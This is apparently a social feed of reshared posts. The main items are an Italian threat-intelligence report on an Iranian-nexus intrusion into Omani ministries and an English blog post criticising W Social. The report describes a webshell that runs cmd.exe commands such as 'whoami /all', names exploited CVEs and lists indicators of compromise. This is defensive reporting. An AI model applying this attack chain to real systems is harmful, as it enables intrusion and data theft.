The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Cyberspionaggio iranian-nexus contro l’Oman: 12 ministeri colpiti, 26.000 record esfiltrati, server C2 lasciato aperto negli Emirati
#CyberSecurity
insicurezzadigitale.com/cybers…


Cyberspionaggio iranian-nexus contro l’Oman: 12 ministeri colpiti, 26.000 record esfiltrati, server C2 lasciato aperto negli Emirati


Un server di staging lasciato in bella vista su internet ha permesso ai ricercatori di Hunt.io di ricostruire un’intera operazione di cyberspionaggio contro il governo dell’Oman. Dietro l’attacco si intravede la firma di un attore con nexus iraniano: 12 ministeri colpiti, oltre 26.000 record di cittadini esfiltrati, e un arsenale di strumenti personalizzati che punta direttamente al Ministero della Giustizia di Muscat.

Il server lasciato aperto: come è stata scoperta l’operazione


La maggior parte degli operatori offensivi ha cura di mantenere il proprio server di staging fuori dalla visibilità pubblica. Questo no. Il server all’indirizzo 172.86.76[.]127, un VPS RouterHosting con sede negli Emirati Arabi Uniti, è stato individuato dagli scanner AttackCapture di Hunt.io l’8 aprile 2026 sulla porta 8000, con una seconda directory esposta sulla porta 8002 catturata il 10 aprile. L’open directory conteneva in chiaro toolkit d’attacco, codice C2, session log, e dati esfiltrati — un errore operativo che ha aperto una finestra eccezionale sull’intera campagna.

L’IP risolve in un unico dominio: dubai-10.vaermb[.]com, registrato in maggio 2025 tramite NameSilo. Il pattern di naming suggerisce l’esistenza di infrastruttura aggiuntiva — un cluster denominato dubai-# sullo stesso ASN che ospita media iraniani della diaspora contraffatti e diversi domini .ir, fornendo un utile contesto geopolitico sull’operatore.

I bersagli: dodici entità governative omanite


La prima directory (porta 8000) rivelava la fase di ricognizione e initial access, con tentativi contro almeno quattro entità governative omanite. La seconda directory (porta 8002), con 211 file e 17 sottodirectory per un totale di 110 MB, rappresentava l’ambiente operativo del C2 — strutturato, organizzato per funzione, con cartelle dedicate per ogni obiettivo.

L’analisi degli script Python nella cartella /scripts/gov.om/ ha permesso di mappare i target all’interno dell’ecosistema governativo omanita:

  • Ministero della Giustizia e degli Affari Legali (mjla.gov.om) — Target primario, con webshell deployata su mersaltest.mjla.gov[.]om
  • Royal Oman Police — Portal eVisa (evisa.rop.gov.om): brute force su credenziali
  • Royal Fleet of Oman — Server mail (mail.rfo.gov.om): sfruttamento ProxyShell
  • Tax Authority of Oman — Server mail (email.taxoman.gov.om): sfruttamento ProxyShell
  • State Audit Institution — Piattaforma formativa SAILMS: brute force
  • Ulteriori ministeri inclusi: Autorità per l’Aviazione Civile, Ufficio del Pubblico Ministero, Ministero delle Finanze


La catena di attacco: webshell, ProxyShell e SQL escalation


L’accesso iniziale al Ministero della Giustizia è avvenuto con ogni probabilità sfruttando CVE-2025-32372, una vulnerabilità SSRF in DotNetNuke (DNN) nelle versioni precedenti alla 9.13.8 — il CMS su cui girano i portali ministeriali omaniti. Gli undici script Python dedicati al MJLA referenziano tutti in modo hardcoded la webshell health_check_t.aspx tramite il percorso /Portals/0/, la directory di storage predefinita di DNN.

La seconda webshell recuperata direttamente dal server C2, denominata hc2.aspx, è un classico web shell ASP.NET che accetta comandi tramite il parametro c ed esegue tramite cmd.exe, restituendo l’output come testo plain. In assenza di parametri, esegue automaticamente whoami /all && hostname && ipconfig — restituendo identità, hostname e configurazione di rete.

Contro i server Microsoft Exchange della Royal Fleet e della Tax Authority, gli operatori hanno utilizzato la catena ProxyShell (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207). Per il pivot e l’escalation all’interno della rete MJLA, gli script evidenziano l’uso di tecniche di privilege escalation su SQL Server e di un payload a esecuzione riflessa (reflective execution variant).

Il README.txt trovato sul server C2 — denominato “VPS C2 – 172.86.76[.]127” — conteneva porte listener, template per reverse shell, comandi di esfiltrazione e path SCP che puntavano a /opt/c2/loot/. Questo documento suggerisce che il server UAE fosse solo uno dei nodi di un’infrastruttura più ampia non ancora identificata.

I dati esfiltrati: giustizia, identità e segreti di Stato


L’entità dell’esfiltrazione è significativa sia quantitativamente che qualitativamente. Dal Ministero della Giustizia sono stati estratti:

  • Oltre 26.000 record utente dall’applicazione DotNetNuke del MJLA, inclusi indirizzi email del personale e credenziali
  • Dati di casi giudiziari attivi e storici
  • Decisioni di commissioni governative e dati di certificazione di esperti
  • Hive del registro Windows (SAM e SYSTEM) — che contengono gli hash delle password di sistema, utilizzabili per ulteriori movimenti laterali

I session log presenti sul server C2 confermano sessioni operative attive fino al 10 aprile 2026, dimostrando che la compromissione era ancora in corso al momento della scoperta da parte di Hunt.io.

L’attribuzione: il nexus iraniano e la continuità delle operazioni


Hunt.io non attribuisce esplicitamente la campagna a un gruppo specifico, ma i marker sono coerenti con attori Iranian-nexus. Nel 2025, un gruppo allineato all’Iran e collegato al Ministero dell’Intelligence e della Sicurezza (MOIS) aveva compromesso una mailbox del Ministero degli Affari Esteri omanita a Parigi, utilizzandola come launchpad per inviare email di spear phishing ad ambasciate e organizzazioni internazionali nel mondo. La campagna attuale inverte il vettore: questa volta l’Oman non è la piattaforma di lancio, ma il bersaglio diretto, con focus specifico su dati giudiziari, sistemi di immigrazione e identità dei cittadini.

L’infrastruttura adiacente sullo stesso ASN — che ospita media iraniani della diaspora contraffatti e domini .ir — aggiunge contesto alla collocazione geopolitica dell’operatore. Il pattern di targeting (sistemi giudiziari, forze dell’ordine, finanze pubbliche) è coerente con le priorità di intelligence degli apparati statali iraniani nei confronti dei paesi del Golfo.

Due righe per i difensori


Il caso dell’Oman illustra due lezioni critiche per i team di difesa. Prima di tutto, la gestione dell’infrastruttura di staging è essa stessa una superficie di attacco: server di C2 male configurati possono esporre l’intera operazione e fornire preziosi indicatori ai difensori. In secondo luogo, la longevità delle vulnerabilità come ProxyShell — pubblicamente nota dal 2021 — dimostra che molte organizzazioni governative non dispongono di processi di patching adeguati per i sistemi esposti a internet.

Per le organizzazioni che operano in settori sensibili nei paesi del Golfo o che collaborano con entità governative omanite, si raccomanda di verificare immediatamente le versioni di DotNetNuke deployate, controllare la presenza di webshell nei path /Portals/0/ dei CMS DNN, e monitorare la comunicazione verso l’IP 172.86.76[.]127 e il dominio dubai-10.vaermb[.]com.

Indicatori di Compromissione (IoC)

# Iranian-Nexus Oman Government Intrusion - IoC
## Infrastructure
IP: 172.86.76[.]127 (RouterHosting VPS, UAE)
Domain: dubai-10.vaermb[.]com (registrato 2025-05-04, NameSilo)
Cluster: dubai-[N].vaermb[.]com (additional nodes suspected)
C2 path: /opt/c2/loot/
## Targets Compromised
mersaltest.mjla.gov[.]om (primary C2 access point, Ministry of Justice)
evisa.rop.gov[.]om (Royal Oman Police)
mail.rfo.gov[.]om (Royal Fleet of Oman)
email.taxoman.gov[.]om (Tax Authority of Oman)
sailms.gov[.]om (State Audit Institution)
## Webshells
health_check_t.aspx (deployed on MJLA DNN portal, /Portals/0/)
hc2.aspx (recovered from C2 server)
## C2 Files
c2_fixed.py
c2_fixed_v2.py
README.txt (infrastructure reference document)
proxyshell_01.sh
evisa_cookies.txt
## Vulnerabilities Exploited
CVE-2025-32372 - DotNetNuke SSRF (versions before 9.13.8)
CVE-2021-34473 - ProxyShell (Microsoft Exchange)
CVE-2021-34523 - ProxyShell (Microsoft Exchange)
CVE-2021-31207 - ProxyShell (Microsoft Exchange)
## Tunneling Tool
Chisel (encrypted tunnel through firewalls, components in /payloads)
## MITRE ATT&CK TTPs
T1190 - Exploit Public-Facing Application (DNN SSRF, ProxyShell)
T1505.003 - Web Shell
T1003.002 - OS Credential Dumping: SAM (registry hives SAM+SYSTEM)
T1059 - Command Scripting (Python scripts, cmd.exe via webshell)
T1083 - File and Directory Discovery
T1119 - Automated Collection
T1020 - Automated Exfiltration
## Last Active Session
April 10, 2026 (C2 log timestamps)

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Do you remember the surprise announcement of a new social network in Davos this past January? Something that promised to be the "first" European social network?

Its name is #WSocial and it's a fork of #Bluesky. Its founders have ties with European politicians - but there is no official involvement by the EU.

You wouldn't know any of this from media reports because they all rehashed their talking points. So I wrote a post about it, dispelling some myths:

blog.elenarossini.com/w-social…

#OpenWashing


W Social uncovered: the reality behind the hype


In January my corner of the social web was abuzz with the surprising announcement at Davos of a new social network: W Social, which aspires to be an alternative to X, based in Europe, with "identity verification to fight disinformation." Its goal? To foster social sovereignty for European citizens, away from the control and influence of U.S. tech behemoths.

There was a lot of ambiguity surrounding the announcement with implications that this may be an initiative driven by European politicians. Was the European Commission involved? Would governments be funding a new social platform for European citizens that required ID verification? It was hard to tell.

Meanwhile, many European newspapers, blogs, radio and TV stations covered this announcement extensively, with great enthusiasm - day after day for what seemed like a full week. Most of the reporting seemed to be a simple rehashing of a press release.

It took me about 5 minutes of research to start uncovering some really surprising elements. The contrast between the media hype and the reality was so jarring, that I decided to start collecting evidence and share what I found in a blog post.

With my article today I aim to share the reality behind the hype, doing the work that journalists should have done at the beginning.

⚠️
Disclaimer:

This article represents my personal opinions, commentary, and conclusions formed through independent research using publicly available sources. Any characterizations, interpretations, or inferences are presented as opinion, not as statements of objective fact. Readers are encouraged to review the referenced materials and draw their own conclusions.

Why should YOU care?


World events from the past two years have pushed a lot of European leaders to start reassessing Europe's dependence on American tech infrastructure.

European politicians and policy experts have started holding meetings to discuss "Trusted European Platforms (TEPs) to strengthen Europe’s strategic autonomy." W Social is being mentioned in these discussions:

Sovereign Democracy & Trusted European Platforms: starting!
Sovereign Democracy & Trusted European Platforms: starting!
Stars4MediaStars4Media Project


I understand that doing due diligence requires time and technical expertise.

I would like to collect in this post all the evidence I found of why I personally don't think W Social is a solution for Europe’s digital sovereignty.

If anything, we should exercise critical thinking, follow the money and analyze who has control over social media platforms. It is no coincidence that tech oligarchs in the U.S. have been on a media purchasing spree, scooping up newspapers, TV stations and social media networks - especially in the past 4 years. Controlling the flow of information is a potent thing - and we should be very careful of whom we give that power to.

A word from the author


Before we get started, why should you listen to me?

Well, I have been very active on decentralized social networks for four years now, championing these online spaces over centralized offerings by Big Tech platforms.

I have been invited to speak about my views and experiences at Journées du Logiciel Libre in Lyon, PublicSpaces in Amsterdam, Berlin Fediverse Day, Social Media Strategies in Bologna and this past month I gave a talk at the Ministry of Culture in Paris and delivered the opening keynote at 2MR in Hamburg.
a photo of me on stage at Social Media Strategies in Bologna, Italy - next to Niccolò Venerandi and morloi
In addition to my advocacy, I have been self-hosting my own social media platforms (GoToSocial, PeerTube and Pixelfed instances) and I’ve set up essential services like NextCloud… purposefully using domain name registrars, web and VPS hosting companies based in Europe.

The topics of open social networks, FOSS alternatives to Big Tech platforms and European cloud infrastructure are my bread and butter.

I have been alarmed by the hype around the launch of W Social and all the inaccuracies in news reports. Thus my speaking up.

Issue no.1: How W Social ignored existing European initiatives


People in my circles discussed the announcement of W Social with disbelief and a touch of anger. At launch, the official website of W Social showcased a world map, with icons of American tech platforms (Bluesky, Facebook, Instagram, LinkedIn, Reddit, Snapchat, TikTok US, Whatsapp, X and YouTube) superimposed over the map of the United States; then over Russia you can see the logos of OK and Vkontakte, over China there is QQ, TikTok, WeChat and Weibo, and over India there is ShareChat. A circle is drawn around Europe... but there are no icons inside. The message: W Social is here to fill that void and provide a European social network.
a world map, with icons of American tech platforms (Bluesky, Facebook, Instagram, LinkedIn, Reddit, Snapchat, TikTok US, Whatsapp, X and YouTube) superimposed over the map of the United States; then over Russia you can see the logos of OK and Vkontakte, over China there is QQ, TikTok, WeChat and Weibo, and over India there is ShareChat. A circle is drawn around Europe... but there are no icons inside.a screenshot of the initial landing page for W Social on January 21st 2026
This provoked the ire of many of my friends and fellow Fediverse netizens - because decentralized social media platforms like Mastodon and PeerTube originated in Europe; the Fediverse has over 12 million users. Omitting this felt like a strange choice. Even the European Commission has an active Mastodon account: on their own server, with over 154,000 followers!

European Commission (@EUCommission@ec.social-network.europa.eu)
3.58K Posts, 10 Following, 154K Followers · News and information from the European Commission. A project to foster our presence in the fediverse and support our commitment to European social media platforms based on open source technology. 🇪🇺 Official Mastodon account as verified by the official EU domain in our server’s address (
https://europa.eu).
European Commission on Mastodon


While most people focused their frustration on that omission, I thought of something else entirely: for months I had been hearing about the development of Eurosky, based on Bluesky's ATproto.

A mission statement, from Eurosky's website (a note: I grabbed this text in January and the page has since changed. But you can see the original courtesy of the Internet Archive):

Eurosky is building the future of social media - open, pluralistic, and made in Europe. We believe social media should serve our economies and societies, not monopolies. Eurosky is a public-interest infrastructure project that puts control in the hands of users, businesses, and European society. By combining European cloud infrastructure with open standards and democratic governance, we’re creating a new ecosystem where innovation thrives, moderation is transparent, and no single company or country can dictate the rules.


a screenshot of Eurosky's website from late January 2026. there is an announcement bar at the top saying that eurosky.social accounts would be launching in January 2026... and below text that says: "the next era of social media: built and run in Europe, ruled by our laws."a screenshot of Eurosky's website from late January 2026
By reading articles about W Social, you could easily think journalists were discussing Eurosky. The two platforms are so eerily similar in their stated goals, that when I heard that a new European social platform was launching to rival X, when I read it was called "W Social" my first thought was that Eurosky must have rebranded and changed its name. After all, it was supposed to launch in January 2026 and the announcement of W Social was made in Davos on January 20th 2026.

Oh no. They are two completely different initiatives.

Here is what Robin Berjon - one of the architects of Eurosky - had to say about W Social:
a screenshot of a Bluesky post by Robin Berjon in response to the map on W Social's homepage. Berjon's message reads: "It's also *deliberately* disingenuous because we did explain AT and Eurosky at great length to their primary funder. If I were launching a social media about truth and verification I'd, like, try not to lie but that's just me. Anyway, some of us have work to do."a screenshot of a post by Robin Berjon of Eurosky
While the two initiatives share similar goals, their execution could not be more different.

Eurosky has been slowly and carefully planned out, online and behind the scenes. Its website is sleek and professional, with extensive information explaining what the project is about, team bios, a timeline of objectives. When French and German political leaders met in Berlin in November 2025 at the Summit on European Digital Sovereignty to discuss European tech sovereignty plans, Eurosky team members organized their own conference in Berlin as a "side event", in order to show policy makers what they were working on. This is a very well prepared team of experts.

By contrast, if you visited the website of W Social on its launch day, all you had was a rudimentary landing page with a map of Europe and the invitation to enter an invite code. Any 14-year-old with an hour to spare and a free Canva account could have designed something more professional looking.

Now the page has been updated with a slightly sleeker design for its landing page but it is still lacking any content (as of May 7th, 2026):
the landing page of W social on May 7, 2026. It has a large W social logo, the tagline "trust your feed" and some text below over a dark blue background faintly showing a world mapthe landing page of W social on May 7, 2026
W Social's announcement at Davos felt very rushed, with minimal preparation just to get the word out there about their plans and get a leg up in the news cycle about European platforms as alternatives to Big Tech offerings from Silicon Valley.

With work on Eurosky being well under way (they eventually opened migrations to their server from Bluesky in February), I kept wondering: "Why? What is the point of W Social, another European fork of Bluesky?" And then everything clicked: maybe W Social is banking on mandatory age verification for European users in order to use social media. This could be their "leg up" over Eurosky: the need for an official government ID to open an account and use it.

Issue no.2: W Social's bungled attempt to conceal they are using Bluesky's AT Protocol


How will W Social work? Which technology will it employ to power its revolutionary European social network?

You would think journalists would ask these questions.

Sadly, that wasn't the case.

Online sleuths discovered the page stage.wsocial.eu that revealed WSocial is none other than a fork of Bluesky, thus based on ATProto.

Developers typically test out platforms on a staging website before launching or going in production... the staging page for W Social was exactly like the Bluesky login page. If you clicked on the "x" to close that preview window, you would see a Bluesky feed:


screenshots putting the landing page of Bluesky and the staging page for W Social side by side...
a screenshot of W social's early feed from the staging page. basically a Bluesky feed
That page was active for a few days: if you shared a link to it from Signal for example - like I did - you would see a preview card with the Bluesky logo. So much for calling out Bluesky and conflating it with other Big Tech offerings by Meta and ByteDance.
a screenshot showing the link to stage.wsocial.eu that I shared in a message on Signal. a preview card appears with the Bluesky logo
Additional proof: the URL dev-pds.wsocial.eu which showed the ATproto logo and stated "this is an AT Protocol Personal Data Server" (the two URLs have since been migrated):
a screenshot showing a browser window visiting the address dev-pds.wsocial.eu and showing the atproto logo and the message "This is an AT Protocol Personal Data Server with links to the code on GitHub
This Scooby-Doo unmasking meme shared by DoktorZjivago on Mastodon is a perfect illustration for this:
the screenshot of a toot by DoktorZjivago on Mastodon showing the Scooby-Doo reveal: someone with a mask has the W social logo on their face... when the mask is taken off you can see a Bluesky logo underneath
I'm guessing that after catching some flack online – regarding their high aspirations of having a European tech stack but picking the American Bluesky and their protocol – someone in charge of W Social commanded that their staging website scrap all evidence of ATproto.

So the stage.wsocial.eu webpage a few days after the official announcement looked like this:
a screenshot showing the new stage.wsocial.eu webpage, with a simple login window that asks for a username and password

Issue no.3: W Social's cavalier attitude towards online security


Did you notice anything wrong in the previous screenshot?

Well, the operation scrapping of all Bluesky branding resulted in the loss of the page's SSL certificate.

This is a LOGIN page into their system.

Why is it bad? Well, when you type a password into a webpage that doesn't have a working SSL certificate, the connection between your browser and the website is unencrypted. That means the password travels as plain text across the Internet.

Did I mention that W Social's value proposition is verified identity and they will require a government ID to create an account? They are asking for your most sensitive data... and yet have a cavalier attitude towards security.

On announcement week, Tom Casavant shared these messages on Bluesky about W Social and its dev-pds.wsocial.eu page (I'm sharing this with Tom's permission):
A screenshot of an exchange on Bluesky between Tom Casavant and another user. Tom: Got access to something I very much probably definitely shouldn't have access to via one of those links on accident User: sounds fun. Tom: I figured I had already said too much and didn't want to say anything else before I was able to contact them and get it fixed haha. Their Kubernetes management software had Github SSO, but didn't lock it down to a single github org, so I had access to everything.
How bad is this?

Potentially catastrophic if the wrong person could so easily gain access into their system.

Am I theorizing about things that may never happen? Sure. But we should all be very careful about the organizations we trust with our most sensitive data. A few months ago a Discord data breach exposed the government IDs of 70,000 users:

Discord Data Breach - 1.5 TB of Data and 2 Million Government ID Photos Extorted
Discord has confirmed a significant data breach that exposed sensitive user information after an attacker compromised a third-party customer service provider.
CybersecurityNewsGuru Baran


Now, I have heard through the grapevines (and read confirmation in the press - more on this later) that W Social hired a team of software engineers and now have more than 20 employees, so I think they are taking things more seriously. Still, their early blunders were really shocking to me.

Issue no.4: the founders or: who are we trusting with our communications?


W Social is being built by a Swedish company called W Social AB, which is a subsidiary of We Don't Have Time, a climate-focused media platform. The W Social project is led by Anna Zeiter, a Swiss privacy expert who previously served as Chief Privacy Officer at eBay for more than a decade; she holds a PhD in law from the University of Hamburg. Not the typical background for a tech founder.
a screenshot showing Anna Zeiter's profile photo on Bluesky: a middle-aged white blonde woman wearing a white turtleneck. Her username is @anna.wsocial.eu. She has 367 followers and describes herself as CEO of W, Board Member, Professor, Sailor, Skier, Flutist and Abstract Artista screenshot of Anna Zeiter's profile as it appears on Bluesky
According to an article on Impact Loop, W Social received 2.5 million Euros in funding and has a team of 25 people. Its board of advisors includes very powerful, well-connected people in the world of business and politics, including Cristina Caffarra (chair of EuroStack), Elizabeth Denham (former UK Information Commissioner), Sandrine Dixson-Declève (Honorary President of the Club of Rome), Yariv Adan (former Head of AI at Google), Pär Nuder (former Swedish Minister of Finance), Marc Placzek (former CPO at PayPal) and Philipp Rösler (former German vice-chancellor).

At Davos, Zeiter was interviewed during a We Don't Have Time segment and had a chance to talk about her intentions for the platform - the video was posted on X, but I am using the alternate site nitter.net to display it (so you won't need an X account to see it):
a screenshot of a post on X (shown on Nitter) about Zeiter's interview
Direct link: nitter.net/WeDontHaveTime/stat…

Zeiter said:

Everything is data-driven. Ten years ago we said 'data is the new oil', right now we say 'high quality data is the new oil.' And this is what we are seeing, that competitors in the U.S. and China are using a lot of personal data to analyze, to target... and also sometimes to manipulate users. We want to be different in that respect. Of course, we want to respect GDPR and other European laws because we are run, built and governed in Europe and we would also like to give back to the users. We like to give for example, the face identification process, we want to make sure that users can govern their own data and also their own algorithms, so that users can really choose: "do I want to stay in my filter bubble?" or "do I want to see a little bit more of what is going on in society?" or "do I want to have the full spectrum?"


This is their pitch: a social media platform with a pick-your-own algorithm, that requires government ID to sign up.

What I take issue with here is the sentence "we are run, built and governed in Europe." Why hide that they are using the ATproto infrastructure to operate? Theirs is not a novel, completely original, built from the ground up platform. It is based on Bluesky's ATproto. And yet, this protocol has never been mentioned in any interviews.

Software engineer Maho Pacheco theorized:

I have strong suspicions about why W selected ATproto instead of Activity Pub. Basically there is more power in the biggest actors, a more "centralized" control, to ban/shadow-ban/censure and pull the plug. In other words it is more impactful when Bluesky sidebanned someone or some community than if mastodon.social would do it. The firehose/relay is a the biggest point of control. So in my opinion it is more interesting for investors to create a platform that can be controlled, even if it is just to introduce ads or control the discourse. Technically is because setting-up/supporting/maintaining the firehose/relay layer is very expensive. Every single message would flow through there; creating the biggest firehose in Europe is such a power. So, it is easier to be controlled, and very unlikely to be replicated by other entities.


Issue no. 5: lack of transparency


Following their surprise announcement at Davos, there were dozens of news reports in newspapers, radio shows and TV news shows about this "new European network that will replace X" - with strong implications that it may be an official initiative by the European Union.
a screenshot showing articles about W Social on Google News
This went on for TEN DAYS - with zero fact checking by media organizations or corrections by the W Social founders.

The first news organization to fact check and debunk the myth of official involvement by the European Union was Euronews. In a segment for The Cube (which you could watch here), journalist James Thomas said:

Claims are spreading online like wildfire that the European Union is setting up its own social media platform to rival X. These posts have spread primarily on X itself, with thousands of views and say that taxpayers money will be used to set up W as an alternative to Elon Musk's platform. Some posts describe it as a state-run censorship platform that has receive funding from the European executive, but these claims are misleading. A European Commission spokesperson told The Cube that the EU is not launching, funding or operating any social media platform. There is no European-backed projected called "W".


This came ten days too late, with dozens of news reports legitimizing W as an official European alternative to X.

Let's do some role-playing here: if I were to launch a privately funded project that received extensive media coverage in newspapers, on the radio and TV, but with reports wrongly claiming that the government was behind it... well, the first thing I would do would be to contact journalists to rectify the mistake. I may even put text on my website to correct the assumptions.

W did not do that. I will always remember their silence on this.

I am not sure I can fully trust an initiative that lacked clarity and honesty on two crucial points:

  • hiding that they are a fork of Bluesky;
  • not correcting wrong claims about their origins, letting people believe that they are part of a European Union initiative - whereas in reality they are a private venture, funded by private investors.

And then there is the thorny issue of their required ID verification, the erosion of privacy and the end of internet anonymity. Em wrote an excellent article pointing out the problems with age verification laws for social media users - it is a must read and covers many of the reasons why government IDs to use social media is a very bad idea:

Age Verification Wants Your Face, and Your Privacy
Age verification laws forcing platforms to restrict access to content online have been multiplying in recent years. The problem is, implementing such measure necessarily requires identifying each user accessing this content, one way or another. This is bad news for your privacy.
Privacy GuidesEm


The Electronic Frontier Foundation also has a superb piece about this topic:

10 (Not So) Hidden Dangers of Age Verification
It’s nearly the end of 2025, and half of the US and the UK now require you to upload your ID or scan your face to watch “sexual content.” A handful of states and Australia now have various requirements to verify your age before you can create a social media account.Age-verification laws may sound…
Electronic Frontier FoundationRindala Alajaji

Final Thoughts


I have a lot more to say about this but I realize that in this post-literate era I have already written a very long post that will take time to read and fully digest. I will stop here - for now. W Social is set to launch tomorrow May 9th on Europe Day. As it happened when it was first announced in January, it is likely to receive a lot of uncritical, superficial press coverage. Please exercise critical thinking and try to look at the reality behind its hype. And if you are not familiar with open social networks, please take a look at a better option: the Fediverse.

Thanks for being here,

Elena
a hand-written note by me that reads: "written by a human" followed by a drawn heart


💓 Did you enjoy this post? Share it with a friend!
👫 Follow me on Mastodon. All my other links are available here: elena.social
💌 If you'd like to say hi, my contact information is here
✏️ If this post resonated with you, leave a comment!


Unknown parent

mastodon - Collegamento all'originale

ikuturso 🇪🇺

@marjolica just the nature of free software that anyone can use it for any purpose. There's a North Korean Linux distro but that's not because Linus Torvalds or any of the contributors support North Korea.

Nobody has to federate with them and in fact they decided they don't want to federate with anyone anyway.

IIRC Truth Social was in breach of the license terms at first but later started releasing their changes to the source code too.

The Privacy Post ha ricondiviso questo.

Chiamatelo Dooh Nibor. Il sistema del welfare keniano gestito da una intelligenza artificiale che premia I ricchi e penalizza i pezzenti

Un'indagine condotta da Lighthouse Reports svela come un algoritmo introdotto dal governo keniota stia causando un sistematico sovrapprezzo per l'assistenza sanitaria a danno dei cittadini kenioti a basso reddito

sha.africauncensored.online/

@aitech

in reply to informapirata ⁂

onestamente non ho capito cosa abbia il sistema di "intelligenza artificiale". Sembra che l'effetto delle varie variabili sia deterministico (sbagliato, ma deterministico).
Dunque non è AI "stocastica", che è quella di cui tutti parlano oggi.
La politica si nasconde dietro modelli imperfetti da sempre (i calcoli dei contributi previdenziali, dell'età pensionabile etc...)... Ma non li abbiamo mai chiamati AI.

Intelligenza Artificiale reshared this.

The Privacy Post ha ricondiviso questo.

Der Messenger Signal reagiert auf die umfangreiche Phishing-Kampagne mit Änderungen in der App. Derweil wird die Dimension der Attacke deutlicher: Schon im Januar waren fast 14.000 Accounts gezielt angeschrieben worden.

netzpolitik.org/2026/attacke-a…

in reply to netzpolitik.org

Yeah, noch mehr Warnhinweise, noch mehr Klicks. 🥳

Das wird uns retten. Nicht. Ich nehme da nur als Referenz meine Banking-App, bei der ich bei jeder Aktion meine pin neu eintippen darf. Die Meldungen dazu lese ich schon lange nicht mehr. Und das macht es Dritten auch leichter, diepin mitzulesen, wenn die 5x eingegeben wird.

Ich sagte schon in den frühen 2000ern: Wer keine Ahnung von Computern hat, sollte damit nicht umgehen. Inzwischen sehe ich das in vielen Bereichen ähnlich: wer nicht Auto fahren kann, sollte es nicht tun - statt dass alle anderen unter der Unfähigkeit weniger Personen leiden müssen.

Gilt mMn auch für Managementsysteme in Unternehmen (27001, 9001, ...).

Wir sind da gesamtgesellschaftlich irgendwo falsch abgebogen.

1/2

The Privacy Post ha ricondiviso questo.

Ich freu mich ja immer sehr, wenn ich Menschen kennenlerne, die gegen die KI-Überwachungspläne in der aktuellen Polizeigesetzwelle aufbegehren. Los ging es mit @ThuerPAG_stoppen , inzwischen habe ich einige gefunden, die in ihren Bundesländern – und zum Teil auch deutschlandweit – gegen die Dystopie agitieren, die da auf uns zurollt. Guckt doch mal rein, ob in eurer Nähe was dabei ist. Und falls was fehlt oder ihr selbst irgendwie aktiv werdet, sagt gern Bescheid!
netzpolitik.org/2026/widerstan…
The Privacy Post ha ricondiviso questo.

Verhaltensscanner, Gesichtserkennung, Datenanalyse: Immer mehr Bundesländer rüsten mit KI-Überwachung auf. Bislang lief das weitgehend geräuschlos. Jetzt regt sich Widerstand. netzpolitik.org/2026/widerstan…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

New Ivanti EPMM Zero-Day CVE-2026-6973 Actively Exploited — Patch Immediately
#CyberSecurity
securebulletin.com/new-ivanti-…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Dirty Frag: New Linux Kernel Vulnerability Chains Two Flaws to Grant Root Privileges — Public PoC Released
#CyberSecurity
securebulletin.com/dirty-frag-…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

👀 #LinkedIn trackt Besuche auf Profilseiten. Wer sehen will, wer das eigene Profil besucht hat, muss aber bezahlen. 💸 Nun haben wir Beschwerde gegen das Unternehmen eingereicht und schlagen die Verhängung einer Geldbuße vor.

Lies mehr darüber: diepresse.com/22034698/noyb-br…

Questa voce è stata modificata (1 mese fa)

reshared this

The Privacy Post ha ricondiviso questo.

Digitale Zahlungen sind auch eine soziale Frage. Die Soziologin Barbara Brandl hat untersucht, wie digitale Zahlungen Ungleichheit verstärken. Im Interview erklärt sie, wie dabei von unten nach oben umverteilt wird und was uns Beispiele aus anderen Ländern für den Digitalen Euro lehren.

netzpolitik.org/2026/digitales…

in reply to netzpolitik.org

Diesen Beitrag gibt es nur dank eurer Unterstützung. Denn wir sind spendenfinanziert.

👉 netzpolitik.org/spenden

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Digital Omnibus meets the Charter of Fundamental Rights – a reality check

Organised by @noybeu
with Jennifer Baker (moderator), Herwig Hofmann, Alexandra Jaspar, @maxschrems @peterhense

More information: cpdp.be/124596

#CPDP2026 #CompetingVisionsSharedFutures #CPDPPanels

reshared this

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Malicious DeepSeek-Claw AI Skill Delivers Remcos RAT and GhostLoader in Agentic AI Supply Chain Attack
#CyberSecurity
securebulletin.com/malicious-d…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Massive 2.45 Billion-Request DDoS Attack Uses 1.2 Million IPs to Defeat Rate Limiting in “Low and Slow” Campaign
#CyberSecurity
securebulletin.com/massive-2-4…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Critical Palo Alto PAN-OS Zero-Day CVE-2026-0300 Actively Exploited — Root Access Granted on 5,800+ Exposed Firewalls
#CyberSecurity
securebulletin.com/critical-pa…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica
#tech
spcnet.it/typescript-7-beta-ab…
@informatica


TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica


Con la terza preview di Visual Studio 2026 18.6 Insiders, Microsoft ha compiuto un passo importante: il compilatore integrato di TypeScript è stato aggiornato a TypeScript 7 Beta (native preview). Per tutti gli sviluppatori che usano Visual Studio con progetti TypeScript o JavaScript — compresi i progetti ASP.NET Core con pacchetti npm — questo cambiamento è già attivo e vale la pena capire cosa comporta.

Cos’è il compilatore nativo di TypeScript 7?


TypeScript 7 è un porting nativo del compilatore TypeScript, riscritto in Go. Questo porta l’esecuzione nativa e il parallelismo a memoria condivisa al compilatore e al language service TypeScript. I risultati misurati parlano di:

  • Fino a 10x più veloce per la compilazione di codebase di grandi dimensioni.
  • Riduzione significativa dell’uso di memoria rispetto al compilatore precedente.
  • Caricamento dei progetti circa 8x più rapido all’apertura in Visual Studio.

Se lavori con progetti TypeScript o JavaScript di grandi dimensioni, noterai miglioramenti concreti su tutta l’esperienza di sviluppo.

Quali funzionalità di Visual Studio beneficiano di TypeScript 7?


Il language service TypeScript aggiornato migliora direttamente molte funzionalità dell’IDE:

